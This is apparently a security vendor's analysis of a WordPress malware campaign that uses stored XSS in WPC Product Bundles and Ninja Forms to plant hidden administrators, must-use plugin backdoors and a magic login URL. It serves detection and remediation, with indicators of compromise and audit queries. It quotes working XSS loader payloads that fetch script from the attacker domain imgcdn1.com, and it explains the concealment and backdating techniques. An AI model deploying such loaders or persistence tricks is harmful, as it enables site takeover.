Four ways back in: the WordPress XSS campaign that hides its own admin account

Two unrelated WordPress plugins, two separate stored Cross-Site Scripting vulnerabilities, one payload. Over the past several days our telemetry has recorded exploitation attempts against both, and every attempt pulls the same JavaScript from imgcdn1.com. Two is what we have confirmed, not what we expect the final count to be.

We first observed the payload on October 4, 2026, in an exploitation attempt targeting CVE-2026-93836 in WPC Product Bundles for WooCommerce. The following day, we observed the same payload being delivered through CVE-2026-94504 in Ninja Forms.

The JavaScript is not a vulnerability scanner or a proof-of-concept. It is a WordPress post-exploitation and persistence implant designed to execute inside the browser of a logged-in administrator.

Once triggered, it abuses the victim’s authenticated wp-admin session to install a malicious WordPress plugin, create a new administrator account, invoke an additional hidden persistence mechanism, and report the results to attacker-controlled infrastructure.

We retrieved and analysed that plugin. It carries an unauthenticated file manager behind seven layers of packing, and a second script that creates a WordPress administrator hidden from the Users screen, installs a backdoor login URL that authenticates as the site’s original owner, and backdates its own files so they look older than the WordPress installation itself.

Campaign Overview

Target Platform	WordPress
Initial Access Mode	Unauthenticated Stored Cross-Site Scripting
Involved Vulnerabilities	CVE-2026-93836, CVE-2026-94504
Main Payload	https://imgcdn1.com/fz/x.js
C2 / Payload Server	https://imgcdn1.com/fz/c.php
Post-Exploitation Method	Malicious plugin installation, administrator creation, hidden administrator, backdoor login URL, unauthenticated file manager
Exploitation Status	Active exploitation observed
Vendor Advisory	Upstream changelog only
First Observed Exploitation	October 4, 2026

Two Vulnerabilities, One Payload

WPC Product Bundles for WooCommerce

Unauthenticated Stored Cross-Site Scripting

30K

CVSS 7.1

Ninja Forms

Unauthenticated Stored Cross-Site Scripting

500K

CVSS 7.1

The first exploitation attempt we identified targeted CVE-2026-93836, an unauthenticated stored XSS vulnerability affecting WPC Product Bundles for WooCommerce through version 8.6.6.

The vulnerability allows a quantity beginning with a valid numeric value to pass validation while retaining additional attacker-controlled markup. The original value can then be stored in WooCommerce order metadata and later rendered unsafely.

The requests observed on October 4 supplied the payload through the woosb_ids[…][qty] parameter, carrying a numeric prefix followed by a script tag:

1 <script src="https://imgcdn1.com/fz/x.js"></script>

Then on October 5, we identified the same JavaScript payload being distributed through a second vulnerability: CVE-2026-94504 in Ninja Forms.

Ninja Forms through version 3.15.3 stores attacker-controlled non-rich-text textarea submissions and can render them without safe HTML encoding in the legacy administrative submission editor. When the affected submission is viewed, injected JavaScript can execute in the WordPress administrative origin. Version 3.15.4 strengthened output escaping on the affected administrative screen.

This time, the attacker submitted the payload through the normal Ninja Forms AJAX endpoint, /wp-admin/admin-ajax.php with action=nf_ajax_submit, inserting the malicious value into multiple form fields:

</textarea><img src=x onerror="
var s=document.createElement('script');
s.src='https://imgcdn1.com/fz/x.js';
document.body.appendChild(s)">

The loaders differ because the attackers adapt the injection to each vulnerable context, but the post-exploitation code stays centralized on their own infrastructure. That shared second stage is what ties both attempts to one campaign.

What x.js Does

The retrieved x.js is a purpose-built WordPress post-exploitation and persistence script. It is lightly obfuscated, primarily through encoded string tables and indirect function lookups.

Its overall execution flow is:

stored XSS in wp-admin -> resolve origin -> C2 check-in -> install plugin -> create administrator -> fetch emer-run.php -> report to C2

The important distinction is that the JavaScript itself does not need a second server-side vulnerability, but uses legitimate WordPress administrative functionality through the administrator’s existing authenticated session.

Riding the Administrator’s Session

The malware never steals the administrator’s WordPress cookie. Because the JavaScript runs in the security context of the compromised site, same-origin requests to /wp-admin/ automatically carry the logged-in user’s session. The script loads privileged WordPress pages, scrapes the CSRF nonces that legitimate administrative actions require, and replays them to perform those actions itself.

HttpOnly cookies do not help here, because the JavaScript never reads the cookie. It simply rides the administrator’s authenticated session, inheriting every action that administrator can perform.

Checking In With the C2

Before carrying out any of its persistence actions, the malware contacts https://imgcdn1.com/fz/c.php?xa=check&site=<target-origin>. The response contains state fields including plugin, admin, emer and skip, which let the C2 determine which stages have already succeeded for a particular victim.

The malware also stores local execution state in the browser, under a Local Storage key beginning with __xp_v9_. Successful stages are tracked as plugin, admin and emer, with a completed compromise eventually marked as all. This prevents unnecessary repetition if the stored XSS executes multiple times.

Status data is sent back using several browser mechanisms, including fetch(), navigator.sendBeacon() and an image-request fallback, increasing the likelihood that the C2 receives the result even if navigation interrupts execution.

Malicious Plugin Installation

Using the victim’s session, the script loads /wp-admin/plugin-install.php?tab=upload, scrapes the upload nonce, pulls a ZIP from https://imgcdn1.com/fz/c.php?xa=pkg and submits it through WordPress’ own plugin installer.

We retrieved and analysed the package. It installs to the slug wp-smart-thumbnails and holds four files:

File	Bytes	Purpose
wp-smart-thumbnails.php	20,728	Packed dropper and file manager
emer-run.php	14,330	Persistence installer
readme.txt	46	Decoy
includes/class-thumb-cache.php	41	Decoy

It poses as WP Smart Thumbnails 1.2.4 by “MediaPress Labs”, a plugin for caching responsive thumbnails. The file that would hold that functionality contains nothing but an ABSPATH guard, and readme.txt is two lines. Every file is timestamped July 2026, months before the campaign, which fits deliberate backdating.

The main plugin file then opens with a guard that inverts the usual WordPress convention:

// WP plugin load: do not run shell (keeps wp-admin normal)
if (defined('ABSPATH')) {
    return;
}

A legitimate plugin exits when ABSPATH is not defined, to block direct access. This one exits when it is, so the payload never runs while WordPress loads the plugin. Installed and active, it does nothing. It only detonates on a direct HTTP request, and the attacker’s own comment says so.

The Dropper and the Webshell

Below that guard sits a single base64 blob. It is base64-decoded, XORed against a 26-byte key, reversed, put through ROT13, base64-decoded twice more, rotated by two bytes and decompressed with gzuncompress, then checked against a hardcoded MD5 before it runs. That last check is the author’s own integrity guard, and it makes verification easy: our unpacked stage matches it.

The execution step is worth noting. Instead of eval(), the dropper registers a custom stream wrapper and includes the decoded source through a dyiv:// URL. Same effect, but rules watching for eval() on decoded input never fire.

The unpacked stage is roughly 37 KB: a graphical file manager titled “Moon, tell me if I could”, offering list, upload, delete, rename, mkdir, read and save over a JSON API. It has no authentication of any kind. No password, no token, no capability check anywhere in the file; the only equality test on a key is a JavaScript handler for the Escape key. Anyone who finds the path gets what the attacker has.

There are no command-execution primitives, no system() or exec(). That is a thin distinction, because upload and save write attacker-supplied bytes to any writable path, which is enough to drop a second shell.

What emer-run.php Actually Installs

emer-run.php is where the durable persistence gets built. Over HTTP it bootstraps WordPress, demands current_user_can('administrator') and returns JSON, which is why x.js calls it from inside the administrator’s session. From CLI or WP-CLI it skips the capability check entirely. Its header comment is candid about the job: “hidden admin + magic login (invoked via XSS admin session). Returns JSON only; drops obfuscated MU-plugins.” It does three things.

First, it creates an administrator built to look routine. The username is drawn at random from a dictionary of around fifty innocuous operational words such as support, updater, maintenance and backup, with an @wordpress.org email address and a 16-character random password.

Second, it hides that account from the administrator who owns the site. This is the part that matters most for detection. The script writes a must-use plugin to wp-content/mu-plugins/class-wp-query-<8 hex>.php, where the hex is derived from the username, and that file installs three hooks:

Hook	Effect
pre_user_query	Appends AND user_login != '<hidden>' to the user query SQL
users_list_table_query_args	Adds the account to login__not_in
views_users	Decrements the role counts shown above the list

The account does not appear in Users → All Users, does not appear in the Administrator filter, and is not counted in the totals above the list. It is a fully privileged administrator the site owner cannot see. Must-use plugins make that stick: they load on every request, cannot be deactivated from wp-admin, and are never listed on the Plugins screen. Removing wp-smart-thumbnails does not remove them.

Third, it creates a magic login URL at /wp-login.php?_wplogin=<token>, backed by a second must-use plugin, class-wp-token-validate.php. The token lives in the fz_emer_login_tokens option and the plugin hooks init at priority 1 to trade it for a session cookie. That token is not bound to the hidden account. It is bound to the oldest existing administrator on the site, so anyone holding the URL is silently logged in as the original owner, in a session no log that records only a user ID can tell from a real one.

Both must-use plugins are written obfuscated, as XOR-plus-gzdeflate blobs with random variable names and a fresh key per site, so no two infected sites share a hash. Each one is then backdated: the script scans the WordPress root, takes the oldest modification time it finds, and stamps it onto the file it just dropped. The implants end up looking like the oldest files on the system, which defeats the usual hunt for recently changed files in wp-content.

Four Ways Back In

Taken together, a single successful execution of the stored XSS leaves the attacker with four independent routes back into the site, only one of which is visible from the WordPress dashboard:

1. The visible administrator created through user-new.php, with credentials supplied by the C2
2. The hidden administrator created by emer-run.php and concealed by a must-use plugin
3. The magic login URL, which authenticates the holder as the site’s oldest administrator
4. The unauthenticated file manager in the plugin itself, reachable by direct request

Removing the vulnerable plugin, or even the malicious one, closes none of the last three.

Why Stored XSS Works So Well for This Campaign

Stored XSS suits this campaign because it removes the hardest part of the attack: getting a privileged user to cooperate.

A reflected XSS needs the victim to visit an attacker-controlled URL. A stored XSS is already inside the application, sitting in data administrators open as part of their job: a WooCommerce order in the first case, a Ninja Forms submission in the second. It fires the moment they look.

That distinction has mattered to WordPress Core itself recently. In September 2026, WordPress 7.1.1 fixed an unauthenticated stored XSS in wpautop() that let attacker-controlled script persist through comment content, subject to comment approval.

The attack model is therefore:

attacker submits data -> WordPress stores it -> attacker waits -> administrator views it -> payload runs in wp-admin -> persistent compromise

Which plugin provides the initial XSS barely matters. Once JavaScript runs inside an authenticated administrative origin, the post-exploitation stage is identical, which is why these attackers collect stored XSS vulnerabilities instead of building a separate malware chain for each plugin.

Infrastructure: imgcdn1.com

A single domain carries every stage of the campaign:

Endpoint on imgcdn1.com	Function
/fz/x.js	Browser-based post-exploitation implant
/fz/c.php?xa=check	Victim state and tasking
/fz/c.php?xa=pkg	Malicious WordPress plugin package
/fz/c.php?xa=admin_creds	Attacker-chosen administrator credentials
/fz/c.php	Compromise reporting

The domain was registered on October 1, 2026, and a public DNS indexing service lists it among domains delegated to the Cloudflare nameserver hazel.ns.cloudflare.com on October 2. We saw it used in exploitation two days later.

Both vulnerabilities had been publicly disclosed on September 22, roughly ten days before the domain appeared. The timing fits infrastructure stood up specifically for this campaign.

What We’re Seeing

As of publication we have confirmed this delivery infrastructure across at least two separate stored XSS vulnerabilities, and exploitation volume remains limited in our telemetry. Neither number is a ceiling. The post-exploitation stage is plugin-agnostic, so any stored XSS that puts JavaScript in front of a WordPress administrator is a candidate vector for the same implant.

Date	Vulnerability	Component	Source IP(s)	Main Payload
Oct 4, 2026	CVE-2026-93836	WPC Product Bundles	204.8.96.109 147.90.235.22 90.184.10.74 94.16.115.121	imgcdn1.com/fz/x.js
Oct 5, 2026	CVE-2026-94504	Ninja Forms	43.250.53.42	imgcdn1.com/fz/x.js

The earliest request in our telemetry was observed on October 4, 2026 at 10:39 UTC. It targeted a WooCommerce product URL and supplied the malicious loader through the woosb_ids parameter, in a URL-encoded value containing:

1+%3Cscript+src%3D%22https%3A%2F%2Fimgcdn1.com%2Ffz%2Fx.js%22%3E%3C%2Fscript%3E

The source IPs differ across the attempts while the second-stage infrastructure and malware stay identical, which is consistent with exploitation spread across several scanning hosts behind one centralized payload and C2 server.

Four of the five addresses are Tor exit nodes that our firewall has blocked before in connection with other vulnerabilities. The fifth, 43.250.53.42, is flagged for spam and brute-force activity and appears in other recent campaigns. Because most of the sources are Tor exits, blocking these addresses is not a durable mitigation on its own.

The target pools differ sharply: WPC Product Bundles has more than 30,000 active installations, Ninja Forms more than 500,000.

We continue to monitor exploitation activity and payload evolution for changes in infrastructure, obfuscation and post-exploitation techniques, and will update this post as additional affected plugins are confirmed.

Malware Indicators

The analyzed x.js sample is 19,378 bytes. The must-use plugins are obfuscated with a fresh key per site and will not match a fixed hash, so they are listed by path.

SHA-256	af803bc822cf9596b1f1785e1d59642f91f6fbc21f8e9943feefa19a6df8c2a4
MD5	8a4413c1aa058179ff54b95571bcf2a3
Payload	https://imgcdn1.com/fz/x.js
C2	https://imgcdn1.com/fz/c.php
Malicious plugin slug	wp-smart-thumbnails
Plugin identity	“WP Smart Thumbnails” 1.2.4 by “MediaPress Labs”
Dropper	/wp-content/plugins/wp-smart-thumbnails/wp-smart-thumbnails.php SHA-256 ccc95113334357c2a3671aae12043bff00020858cec115f7e724fe43e9f1fc24 MD5 da651d4f191a7c363806fe5357752015
Persistence installer	/wp-content/plugins/wp-smart-thumbnails/emer-run.php SHA-256 ed00234ad2b67dbbc9073e8c711b18b7d39e0a5255b6159189f75cf2ed99cfb9 MD5 1024732009983dd5e54b4cf5593f04d4
Dropped must-use plugins	/wp-content/mu-plugins/class-wp-query-<8 hex>.php /wp-content/mu-plugins/class-wp-token-validate.php
WordPress options	fz_emer_done_v1 fz_emer_login_tokens
Backdoor login parameter	/wp-login.php?_wplogin=<token>
Webshell title string	Moon, tell me if I could
Stream wrapper	dyiv://
Local Storage prefix	__xp_v9_
Observed source IPs	204.8.96.109 147.90.235.22 90.184.10.74 94.16.115.121 43.250.53.42

These indicators describe the campaign observed in our telemetry and should not be interpreted as exhaustive indicators for exploitation of either CVE.

Detection and Mitigation

Update WPC Product Bundles for WooCommerce past the affected 8.6.6 release. The upstream changelog identifies 8.6.7 as carrying the security fix.

Update Ninja Forms to 3.15.4 or later. Its upstream changelog notes strengthened output escaping in the administrative submission edit screen in that release.

Search historical HTTP and application logs for references to the delivery infrastructure:

imgcdn1.com
/fz/x.js
/fz/c.php

and inspect WordPress installations for the dropped plugin:

/wp-content/plugins/wp-smart-thumbnails/
/wp-content/plugins/wp-smart-thumbnails/emer-run.php

Because the hidden administrator is filtered out of the Users screen, it cannot be found from the dashboard. Enumerate administrators directly in the database instead:

SELECT u.user_login, u.user_email, u.user_registered
FROM wp_users u
JOIN wp_usermeta m ON m.user_id = u.ID
WHERE m.meta_key = 'wp_capabilities'
  AND m.meta_value LIKE '%administrator%';

Compare that result against what wp-admin shows. Any account that appears in the query but not in the interface is hidden by one of the dropped must-use plugins. An @wordpress.org email address on a local account is a further signal, as is an account named after a routine operational word such as support, updater or maintenance.

Then inspect the must-use plugin directory, which the Plugins screen never shows:

/wp-content/mu-plugins/class-wp-token-validate.php
/wp-content/mu-plugins/class-wp-query-*.php

Note that file modification times are not reliable here. The installer deliberately backdates everything it writes to the oldest timestamp found in the WordPress root, so these files will not surface in a search for recently changed files. Sort by content, not by date.

Check the options table for the campaign’s own state:

SELECT option_name FROM wp_options
WHERE option_name IN ('fz_emer_done_v1', 'fz_emer_login_tokens');

The presence of fz_emer_login_tokens means at least one backdoor login token is live. Deleting both options invalidates the magic URL, but the must-use plugins must be removed as well or a fresh token can simply be issued.

In web server logs, look for requests carrying the _wplogin query parameter to wp-login.php, and for direct requests to the plugin’s own PHP files. The file manager only runs when reached directly, so any hit on wp-smart-thumbnails.php outside the plugin screens is a usable signal.

Finally, investigate any administrator account created around the time an administrator viewed WooCommerce orders or Ninja Forms submissions.

A site where the XSS successfully executed in an administrator’s browser should be treated as potentially compromised. Removing the injected JavaScript alone is not sufficient because the malware is explicitly designed to move persistence outside the vulnerable plugin.

Remove the unauthorized accounts and plugins, clear the dropped files from mu-plugins, delete the fz_emer_done_v1 and fz_emer_login_tokens options, rotate privileged credentials and WordPress authentication salts, and review the filesystem and database for further modifications. Because the backdoor login URL authenticates as the site’s oldest administrator, that account’s password should be treated as compromised even though it was never directly stolen.

Conclusion

What looked like exploitation of a single WordPress vulnerability is a broader campaign. These attackers are not tied to a plugin. They are collecting stored XSS vulnerabilities that put JavaScript in front of WordPress administrators and treating them as interchangeable delivery mechanisms for one post-exploitation implant.

That is what makes it worth watching. The XSS is not the payoff here, it is the front door, and what comes through it is built to outlive the vulnerability that let it in.